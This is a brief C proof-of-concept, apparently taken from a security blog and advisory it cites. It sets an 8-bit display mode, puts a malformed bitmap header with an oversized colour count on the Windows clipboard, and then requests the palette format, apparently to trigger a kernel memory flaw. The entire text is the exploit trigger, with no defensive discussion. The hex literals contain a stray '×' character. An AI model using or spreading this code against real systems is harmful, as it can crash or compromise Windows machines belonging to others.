Sources:
http://www.ragestorm.net/blogs/?p=255
http://secunia.com/advisories/40870/
 
 
DEVMODE dm = {0};
dm.dmSize  = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);
 
BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0×200;
 
HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);
 
OpenClipboard(NULL);
SetClipboardData(CF_DIBV5, (HANDLE)h);
CloseClipboard();
 
OpenClipboard(NULL);
GetClipboardData(CF_PALETTE);